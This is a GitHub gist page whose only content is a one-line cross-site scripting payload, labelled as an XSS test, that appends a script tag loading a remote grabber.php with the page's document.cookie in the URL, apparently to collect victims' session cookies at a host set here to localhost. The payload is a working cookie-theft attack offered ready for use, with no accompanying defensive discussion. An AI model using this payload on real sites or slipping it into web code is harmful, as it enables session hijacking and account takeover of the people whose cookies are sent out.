Skip to content

Instantly share code, notes, and snippets.

@mthbernardes
Created December 6, 2017 14:39
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save mthbernardes/c547aed89134d0a5f559285915fab28f to your computer and use it in GitHub Desktop.
Save mthbernardes/c547aed89134d0a5f559285915fab28f to your computer and use it in GitHub Desktop.
Payload to test XSS, the application need to have Jquery.
<script>var s = document.createElement("script");s.type = "text/javascript";s.src = "http://localhost/grabber.php?cookie="+document.cookie;$("body").append(s);
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment